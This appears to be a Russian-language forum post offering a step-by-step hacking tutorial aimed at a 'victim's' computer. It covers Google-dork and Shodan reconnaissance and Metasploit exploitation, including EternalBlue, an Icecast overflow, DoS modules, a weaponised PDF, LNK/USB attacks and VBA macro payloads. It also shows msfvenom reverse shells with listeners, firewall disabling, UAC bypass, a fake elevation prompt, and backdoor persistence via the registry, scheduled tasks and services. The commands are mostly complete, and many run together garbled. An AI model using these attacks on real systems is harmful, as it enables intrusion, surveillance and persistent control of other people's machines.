Нас больше всего интересуют документы, сетевые устройства, имена пользователей и их пароли, уязвимости в сервиса,
версии программного обеспечения и любая конфиденциальная информация....
Поисковые операторы, которые нам в этом помогут
- inurl - поиск URL
- intext - поиск текста на веб странице
- filetype - поиск определённого файла
- cache - поиск кэшированных страниц
- site - поиск определённых веб сайтов
- intitle - поиск заголовков веб страниц
- | - логическое "ИЛИ"(OR). Используется для объединения нескольких операторов
- - - исключает поисковой элемент
Пример:
site:best_of_the_best_company.com filetype:pdf
Найдёт все открытые pdf фалы которые есть на данном сайте
Осталось поиграться, и да! в интернете есть множество пособий, на том же habr, как пользоваться google-dorks....рекомендую!
Так же хорошо искать по кешированным страницам сайта, это даст вам немного анонимности и
конечно же даст вам доступ к данным, которые уже могли быть удалены с сайта...пригодится.
Что такое Shodan?
Думаю тут каждый знаком с этим фруктом, но всё же - это поисковой сервис утсройст, подключённых к интернету.
Он читает баннер устройства и извлекает из него информацию.
Что мы можем найти:
- Уязвимости
- Маршрутизаторы/Домашние модемы
- Онлайн службы
- Устаревшие операционные системы и серверы без обновлений
- Веб камеры/Потоковое видео
- Эксплоиты
- Промышленные Системы Управления(SCADA)
Опции:
фильтр / описание / пример
os / тип операционной системы / os:"Linux"
net / диапазоны IP/CIDR адресов / net:"200.1.1.1/24"
hostname / имя устройства / hostname:"router.arpa.net"
product / название программы / product:"Apache"
version / версия программы / version:"2.3"
country / код страны / country:"RU"
port / номер порта от сетевой службы / port:"23"
category / доступная категория / category:"malware"
Пример: os:"Windows XP" port:"80" country:"DE"
Для правильного движения нейронов вашей голове, это действительно достаточно.
СКАНИРОВАНИЕ ПОРТОВ ИНТЕГРИРОВАННЫМ NMAP:
Сканирование nmap'ом из metasploit
Для начала нужно посмотреть
help db_nmapСоздать пространство
workspace -a Project_111И теперь запустить сканирование
db_nmap -A 192.168.044Проверить бд можно так:
hosts - посмотреть всю информацию о хосте
services - посмотреть порты запущенные на хосте
vulns - посмотреть уязвимости доступные для этого хоста
notes - посмотреть заметки
ВЗЛОМ СИСТЕМЫ ЧЕРЕЗ УЯЗВИМОСТЬ В SMB MS17-010:
Так как мы уже научились искать и смотреть справку, выполним такую команду
search type:exploit ms17-010Теперь его нужно выбрать
use exploit/windows/smb/ms17_010_eternalblueЕсли хочется посмотреть информацию об этом эксплоите, тогда нужно ввести команду
infoТеперь нужно посмотреть какие пайлоады доступны к этому експлоиту
show payloadsПосле того как нагрузка выбрана, нужно указать что мы хотим её использовать
set payloads windows/x64/shell/bind_tcpТеперь нужно установить парамерт RHOST
set rhost 192.168.0.51Нужно посмотреть параметры которые необходимы для нашей нагрузки
show options
Тут можно посмотреть параметры, обязательные для експлоита
А тут можно посмотреть параметры нагрузки
После того, как всё проверено, можно запустить експлоит
exploit
После того как получен доступ к cmd можно посмотреть что за система попалась
sysinfoБыл получен доступ к shell, сейчас попробуем получить доступ к meterpreter.
В чём отличие? Meterpreter круче, так как может показать намного больше информации о системе, а так же позволяет исползовать скрипты.
set payload windows/x64/meterpreter/bind_tcpПрорим есть ли необходимость установить дополнительные параметры
show options, а потом запускаем експлоит
exploit
sysinfoПОЛУЧЕНИЕ УДАЛЁННОГО ДОСТУПА ЧЕРЕЗ ГРАФИЧЕСКИЙ ИНТЕРФЕЙС:
show payloadsВ MetaSploit есть несколько модулей, которые поддерживают VNC
Для примера выберем это:
set payload windows/x64/vncinject/bind_tcpМожно посмотреть параметры, которые можно поменять
show optionsСтоит обратить внимание на необязательный параметр ViewOnly, он позволяет использоавть VNC в режиме наблюдателя.
Т.е. можно будет только смотреть, но не управлять системой. Если планируется использовать атакуемую систему, то стоит дать опции ViewOnly опцию false
set viewonly falseТеперь можно перейти к запуску эксплоита
exploitBIND VS REVERSE:
В качестве примера, возьмётся нагрузка generic/shell_bind_tcp
set payload generic/shell_bind_tcpи посмотрим его опции
show optionsТеперь посмотрим его же вариант только в reverse
set payload generic/shell_reverse_tcpи заглянем в опции
show optionsСтоит обратить внимание на LHOST который является обязательным.
Т.е. нужно утсановить свой IP адрес, для того чтобы атакуемый хост соединился с ним.
ВЗЛОМ WEB СЛУЖБЫ В ПРОГРАММЕ ICECAST:
MetaSploit умеет проводить атаку "Переполнение буфера"
search type:exploit icecastuse exploit/windows/http/icecast_headerТеперь попробуем подобрать нужную нагрузку
show payloadsнапример вот этот
set payload windows/meterpreter/bind_tcpи посмотрим его опции
show optionsДля примера:
setg rhost 192.168.0.128exploitsysinfoDOS АТАКА НА УДАЛЁННУЮ СИСТЕМУ:
search type:auxiliary ms15-034так же есть второй скрипт который способен длать нужное
search type:auxiliary ms12-020Провери параметры модуля, можно заметить что у него всего два параметра
Порт оствим таким же, а IP поменяем
set rhost 192.168.0.51exploit
ВНЕДРЕНИЕ ИСПОЛНЯЕМОГО КОДА В PDF ДОКУМЕНТ:
search type:exploit embedded_exeuse exploit/windows/fileformat/adobe_pdf_embedded_exeset payload windwows/meterpreter/reverce_tcpshow optionsFILENAME - выходной файл
INFILENAME - иходный файл из которого будет делать pdf
LAUNCH_MESSAGE - сообщение об ощибке при открытии файла
set filename forensecs.pdfset infilename /root/Downloads/network_forensics.pdfset lhost 192.168.0.16exploitМетасплоит сгенерирует файл, скопируем его в папку веб-сервера
cp /root/.msf4/local/forensics.pdf /var/www/htlm/Так как эксплоит генерирует только файл, нужно создать слушителя
use exploit/multi/handlerset payload windows/meterpreter/reverce_tcpset lhost 192.168.0.16exploitКогда пользователь откроет PDF файл, прилетит сессия meterpreter
Когда пользователь закроет PDF файл, сессия останется открытой, так как она привяжется к другому процессу.
ВЗЛОМ КОМПЬЮТЕРА ЧЕРЕЗ USB НОСИТЕЛИ И ОБЩИЕ СЕТЕВЫЕ ПАПКИ:
Рассмиотрим узявимость, которая используется при помощи USB-флешки или общей сетевой папки на сервере.
Для этого достаточно расположить два файла: .lnk(в простонродье - ярлык) и файл динамической подключаемой библиотеки .dll(.cpl).
Когда пользователь открывает папку, которая хранит данные файлы - система начинает обрабатывать ярлык,
в результате данной обработки вызывается библиотечный файл, который находится в этой же папке(он содержит вредоносный код PAYLOAD).
use explot/windwos/fileformat/cve_2017_8464_lnk_rceset payload windows/x64/meterpreter/reverce_tcpПосмотрим какие параметры необходимо установить
show optionsЧто касается експлоита, то там все параметры не обязательные, а вот у нагрузки есть обязательный параметр LHOST
После того как параметр будет установлен, для примера
set lhost 192.168.0.16Будет сгенерировано множество ярлыков и один dll файл
Почему создаётся множество файлов ? дело в том что нужно указать конкретную букву диска к которому подключится флеш накопитель.
От этого метасплоит создаёт ярлык для каждой буквы, которой может стать флешка. Так как не можем изначально знать это.
После того, как файлы будут лежать где нужно → нужно создать слушателя
use exploit/multi/handlerset payload_windows/x64/meterpreter/reverce_tcpПосле того, как флешка будет открыта, прилетит сесия
Возникает вопрос, если мы не открывали файл, то куда инжектируется метерпретер ?
В системах Windows есть специальная служба для запуска библиотечных файлов, назвается RunDLL32.exe
Именно в него и инжектируется PAYLOAD
Если процесс завершить, то закроется и сама сессия.
ВНЕДРЕНИЕ МАКРОСА В ДОКУМЕНТ MS OFFICE:
С помощью MetaSploit мы создадим код на языке VisualBasic, этот код мы вставим в документ EXELE.
Затем его можно отправить пользователю и ждать пока, тот его откроет.
use windows/meterpreter/reverce_tcpПроверим параметры
show optionsВ нашем случае достаточно установить параметры для LHOST
set lhost 192.168.0.16generate -t vba-t выводит код в текстовом виде
vba показывает программе, что код нужно генерировать именно на языке VisualBasic
В результате будет сгенерирован код, который нужно скопировать и вставить в документ
Тут нужно ввести имя макроса
В открывшемся окне, удалим генерированный код
И вставим свой код
Сохраняем наш документ с поддержкой макросов(Книга Excel с поддержкой макросов *.xlsm)
Нужно не забыть запустить слушатель, перед тем как подсунуть файл
Когда на атакуемой машине будет открыт файл → прилетит сессия
Сессия привязывается к документу, если его закрыть то закроется и сессия.
Для того, чтобы остаться в системе можно использовать опции megrate для того чтобы инжектироваться в другой процесс.
ГЕНЕРИРОВАНИЕ САМОСТОЯТЕЛЬНОГО ФАЙЛА С MSFVENOM:
Суть заключается в том, что создаётся нагрузка в отдельный файл. Потом запускается слушатель, и как пользователь откроет файл - прилетит сесиися.
msfvenom -p windows/meterpreter/reverse_tcp lport=5000 lhost=192.168.0.12 -f exe -o /var/www/html/test.exe-p отвечает за ПОЛЕЗНУЮ НАГРУЗКУ
lport порт на который будет отстукивать хост
lhost ip на который будет отстукивать
-f отвечает за формат в которой будет создана нагрузка
-o отвечает за место где нужно сохрнанить файл
Файл готов, теперь нужно включить слушатель
msfconsoleuse exploit/multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 12.168.0.12set lport 5000runТеперь остаётся отправить программу на ПК жертвы.
С кали легче всего скачать файл за счёт веб-сервера(
service apache2 start)Для того чтобы выбрать нагрузку, можно посмотреть какие нагрузки есть доступные
msfvenom —list payloadsЕсли хочется посмотреть нагрузку только для Windows
msfvenom --list payloads | grep windowsА если нужна нагрузка под виндоуз с meterpreter
msfvenom —list payloads | grep windows | grep meterpreterДля того, чтобы посмотреть все доступные форматы выходных файлов
msfvenom —help-formats СПИСОК КОМАНД ДЛЯ РАБОТЫ В METERPRETER:
help – помощь, вызов справки
getpid – отображение номера процесса, под которым работает Meterpreter
ps – список всех текущих процессов
migrate – мигрирование Meterpreter в другой процесс
sysinfo – отображение краткой информации об удаленной системе
getuid – отображение текущего пользователя, от имени которого работает Meterpreter
show_mount – список физических и логических дисков
ifconfig/ipconfig – отображает сетевые настройки
arp – отображает МАС и IP адреса локальных устройств, с которыми взаимодействовал хост
netstat – отображает текущие сетевые соединения
route – отображение таблицы маршрутизации
getproxy – получение информации о системном прокси-серевере
pwd – отображает текущую директорию/папку
cd – команда для перехода в другую директорию/папку
dir/ls – отображает список файлов и папок в указанной директории
search – поиск файлов
download – скачивает файлы с удаленной машины на локальную
dupload – загружает файлы с локальной машины на удаленную
idletime – отображает время неактивности пользователя на удаленном компьютере
webcam_snap – делает снимок со встроенной удаленной камеры
webcam_stream – получает видео поток со встроенной удаленной камеры
record_mic – запись звука на удаленной машине
webcam_chat – организация видеочата
СПИСОК ОСНОВНЫХ КОМАНД ДЛЯ РАБОТЫ В CMD:
netuser – локальные пользователи
whoami/all - сведения о текущем пользователе
driverquery – список установленных драйверов
ipconfig/all – сетевые настройки
ipconfig/diplaydns – кэшированные DNS записиa
arp–a - IP адреса, с которыми общался компьютер
netstat – установленные соединения
–a - список открытых портов
–ao - список открытых портов и номера процессов
-abo - список открытах портов, номеров процессов и их названия
–r - таблица маршрутизации
netshfirewallshowconfig - просмотр настроек фаервола
netshfirewall set opmode disable – отключение фаервола
tasklist – список текущих процессов
taskkill
/f
/pid «номер процесса» – отключение процесса
schtaksks – запланированные задачи
scquery - список всех служб
scquery «название службы» - проверка состояния службы
scstart/stop «название службы» - запуск/остановка службы
netstart – запущенные службы
cd – навигация по файловой системе
dir – просмотр файлов и папок в текущей папке
/ah - отображение скрытых файлов и папок
/ad – отображение папок
/b
/s «папка и искомое слово» - поиск файлов по ключевому слову
mkdir - создание папки
УПРАВЛЕНИЕ КОМПЬЮТЕРОМ ЖЕРТВЫ ЧЕРЕЗ КОМАНДНУЮ СТРОКУ CMD:
Не всегда будет доступен графический интерфей, поэтому нужно уметь делать всё через CMD.
Кроме того , при помощи команд можно выполнять действия намного быстрее.
После того, как мы полчили доступ к хосту, нужно собрать как можно больше информации о неё.
whoami /allGroup Name - имя пользователя и группы в которые он входит
Privilege Name - привелегии пользователя
Чтобы проверить какие локальные пользователи зарегистрированы в сети:
net userМожно посмотреть заплатки которые установлены в системе:
systeminfoПокажет как заплатки для ОС так и для ПО
Так же покажет информацию о системе
Чтобы узнать все установленные драйвера:
driverqueryПроверить сетевые настройки
ipconfigipconfig /displaydnsКоманда
arp -a выдаст кушированные ARP записиУкажет IP и MAC адреса для вашей локальной сети
Посмотреть активные соединения
netstatПосмотреть все активные порты
netstat -aОткрытые порты сообщают, что запущена служба или программа серверного типа, которая просто ждёт входящего подключения.
Чтобы узнать номер процесса и название программы, которая использует открытый порт
netstat -aboДля отображения таблицы маршрутизации:
netstat -rДля того, чтобы проверить настройки фаервола:
netsh firewall show configOperational mode = Enable - фаервол включён
File location - место где находиться LogFile фаерволла.
Для того чтобы отключить фаерволл:
netsh firewall set opmode disableУправление процессами и службами
tasklistЧтобы завершить процесс, нужно ввести:
taskkill /f /pid 1816/f - для принудительного завершения процесса
Для того чтобы посмотреть список запланироанных задач
schtasksЧтобы увидеть запущенные службы
net startЧтобы что-то остановить:
sc stop spoolerЧтобы проверить, отключилась ли служба:
sc qwery spoolerНайти на диске C файлы со словом Notepad в названии
dir /b /s c:\**notepadПОВЫШЕНИЕ ПРИВЕЛЕГИЙ ДОСТУПА:
Начиная от Windows Vista в Windows был установлен механизм контроля доступа пользователей UAC.
Все приложения, для работы которых требуется маркер доступа администратора, должны запрашивать подтверждение администратора.
Существует только одно исключение — это взаимосвязь между родительским и дочерним процессами.
Дочерние процессы наследуют маркер доступа пользователя от родительского процесса. При этом как родительский, так и дочерний процессы должны иметь один и тот же уровень целостности.
Например: Если мы запустили Exploer от администратора, и потом открываем им наш експлоит, то эксплоит будет запущен от имени администратора.
Так как его родитель Exploer запущен от имени администратора.
Способ 1
Если на хосте есть программы, которые испоьзуют права администратора. И они используют dll(которые как правило находятся в папке установленной программы.).
Если заменить легитимную dll на вредоносную dll, при запуске программы(она как всегда просит чтобы запустили её от имени администратора) она будет обращаться к своим dll и тогда наш експлоит будет выполнен.
Способ 2
Некоторые COM объекты в своей работе используют dll. При этом эти файлы могут находиться на любой папке компьютера. Пути к этим dll хранятся в реестре. И при зпуске программы,
она проверяет реестр и смотрит пути к этим библиотекам. Если изменить путь в реесте и указать путь к нашему коду, то системная программа обратиться к нашему коду.
При том, что изменить реестр достаточно прав обычного пользоавтеля.
"Повышение привелегий возможно только при определённых условиях"
Пользователь должен иметь обычный аккаунт и находиться в администраторской группе.
whoami /groups
Данная запись говорит, что пользователь находиться в администраторской группе.
А эта запись(а конкретнее слово - Medium) говорит что пользоавтель имеет обычный аккаунт
Если вместо этого было бы LOW - пользователь имеет учётную запись с ограниченными правами.
Для начала воспользуемся командой getuid для того, что бы посмотреть имя текущего пользователя.
getsystem служит для поднятия привелегий. После её выполнения, снова взглянем на имя своей учётной записи
Но команда
getsystem срабатывает не всегда.
Поэтому можно использовать другие техники, основанные на уязвимости операционной системы.
background переключить метерпретер в фоновый режим.Теперь введём следующую команду:
use exploit/windows/local/buypassuac_comhijack Проверим доступные опции show options
Как видно, нужно установить лишь один параметр SESSION
так как у нас уже есть сессии в фоне, можно вернутся к одной из них
sessions ⇒ 2Для данного експлоита устанавливать пайлоад не нужно, он будет вставлен автоматически. Но если всё таки сделать set payload....
можно указать какую-то другую полезную нагрузку.
И теперь повторно выполним команду
getsystemНа этот раз она сработала.
Проверим пользователя
getuid
Для сравнения введём
whoami /groupsКак видно мы имеем System Mandatory Level
Т.е. повышенные привилегии. И стоит помнить что права SYSTEM стоят выше чем Administrator.
Если по каким-то причинам данный эксплоит не сработал, то можно использовать другой.
use exploit/windows/local/bypassuacПо привычке проверим опции, которые нам доступны show options(Такие трюки не проходят на тачках выше Windows 8 )
Но не стоит здаваться так как можно попробовать воспользоваться експлоитами exploit/windows/oracle
Но работают они так себе!
Но есть ещё один трюк, который может повысить привилегии в системе.
Трюк заключается в том, что мы попросим пользователя, чтобы тот дал согласие на повышение привилегий.
Для начала нужно ввести команду
idletimeОна показывает активен ли пользователь в данный момент, или возможно он отошёл от ПК.
Если мы понимаем, что пользователь активен:
use exploit/windows/local/askПроверим параметры
show optionsНас интересует параметр TECHNIQUE
Для запутывания антивирусов и самого пользователя, рекомендуется использовать параметр PowerShell
set technique PSHТеперь запускаем експлоит
runНа атакуемой системе появляется такое окно, пользователь может подумать что какому то процессу нужны права администратора,
и так как он ни чего подозрительного не делал, он не может поверить в то что на другом проводе жду его уже я.
Если он нажмёт на YES → прилитит сессия с новыми правами.
Стоит обратить внимание на имя пограммы....И его автора.
Но есть одна проблема, у этого эксплоита есть ТАЙМАУТ , если пользователь будет долго решаться на какую кнопку нажать - слушатель закроется.
Когда закроется слушатель, даже если пользователь нажмёт YES сессия не прилетит, так как просто не куда. Этот способ иногда срабатывает и может быть полезен.
УСТАНОВКА БЕКДОРА:
Для установки бекдора нам необходимо повысить права.
getsystemgetuidДля просмотра всех опций:
run persistence -hвыполним команду:
run persistence -X -i 5 -p 4444 -r 192.168.0.16-X бекдор запуститься сразу же после системы
-i 5 с интервалом в 5 минут
-p 4444 на удалённый порт 4444
-r 192.168.0.16 с удалённым адресом 192.168.0.16
После выполнения мы будем видеть где установлен бекдор в системе
Так же снизу тут показан ключ реестра для автозагруки бекдора в системе
Для того, чтобы проверить реестр, действительно ли там выставлены правильные настройки:
reg enumkey -k HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\RunТеперь закроем сессию
quitи откроем слушатель
use exploit/multi/handlerrunтеперь если наш компьютер будет перезапущен. и мы заново откроем слушатель → сессия прилетит.
Этот способ так себе, и работает лишь левой ногой прокинутой за правым ухом.....лучше пресмотреться к другим модулям постэксплуатации:
search persistenceУСТАНОВКА БЕКДОРА ЧЕРЕЗ ПЛАНИРОВЩИК ЗАДАЧ:
Для начала нужно создать сам бекдор, после чего через meterpreter нужно загрузить бекдор на компьютер жертвы, желательно в системные папки.
upload /root/Desktop/backdoor.exe c:/users/ieuserТак же можно повысить привелегии на хосте жертвы и это даст возможно переименовать бекдор как системный файл, чтобы снять с него подозрения.
Когда файл загружен, его нужно переодически запускать.
schtasks /CREATE /TN "backdoor" /ST 14:15 /SC DAILY /MO 1 /RI 2 /TR "c:/users/ieuser/backdoor.exe"/CREATE - создать
/TN - название задачи
/ST 14:15 - запуститься в 14:15
/SC DAILY - будет запускаться каждый день
/RI - задача будет повторяться каждые две минуты
/TR "c:/users/ieuser/backdoor.exe" - запускать программу, которая расположена по адресу c:/users/ieuser/backdoor.exe
Задача создана успешно. Теперь выходим из этого режима и запускаем слушатель. Когда заданные параметры будут соблюдены, наш бекдор прокинет нам сессию на наш слушатель.
УСТАНОВКА БЕКДОРА ЧЕРЕЗ СЛУЖБЫ:
Ещё один способ для запуски бекдора, бекдор будет запускаться автоматически при старте системы.
Для начала нужно загрузить бекдор, например в системную папку:
upload /root/Desktop/backdoor.vbs c:/windows/system32Теперь нужно перейти в режим shell
shellСоздать новую службу, которая будет запускать бекдор
sc create backdoor binpath= "cmd.exe /k c:\windows\sytem32\backdoor.vbs" start= autoЕсли на удалённом хосте посмотреть Службы
Можно увидеть бекдор.
Пока перезагружем атакуемый хост, можно включить слушатель
resource /root/Desktop/Meta_scripts/listener.rcПосле того как система стартует, она запускает службы, в том числе и наш бекдор.
ГДЕ ХРАНЯТСЯ ПАРОЛИ В WINDOWS:
Для авторизации пользователей, в системе используется специальный сервис проверки подленности локальной проверки безопасности( Local Security Authority LSA).
Есть ещё одна служба которая участвует в авторизации пользователей → Security Account Manager(SAM)
По сути данная система представляет из себя БД локальных пользователей, которая хранит логины и пароли(хешированные).
Как это происходит
Пользователь вводит пару login:pass → LSA генерирует хеш введённого пароля и обращается в SAM для того чтобы получить из БД SAM хеш этого логина → LSA сверяет хеш, который дал ему SAM.
Если хеши одинаковые → пользователь проходит авторизацию, в противном случае ему заново придётся платить пароль.
Каким образом система вычисляет хеш пароля
Существует два способа:
Lan Manager(LM) считается очень слабым и на его замену пришёл NT Lan Manager(NTLM). Темнеменне LM досих пор используется в различных системах, включая Windows 10. Это сделано для совместимости систем.
Как работает Lan Manager
Когда вводиться пароль, и если он короче 14 символов, вместо недостующих символов дописываются нули, после чего пароль переводиться в верхний регистр.
После чего последовательность делиться на две равние части, каждая часть шифруется по алгоритму DES. В качестве ключа используется: KSG!@#$%
Вложения
Последнее редактирование: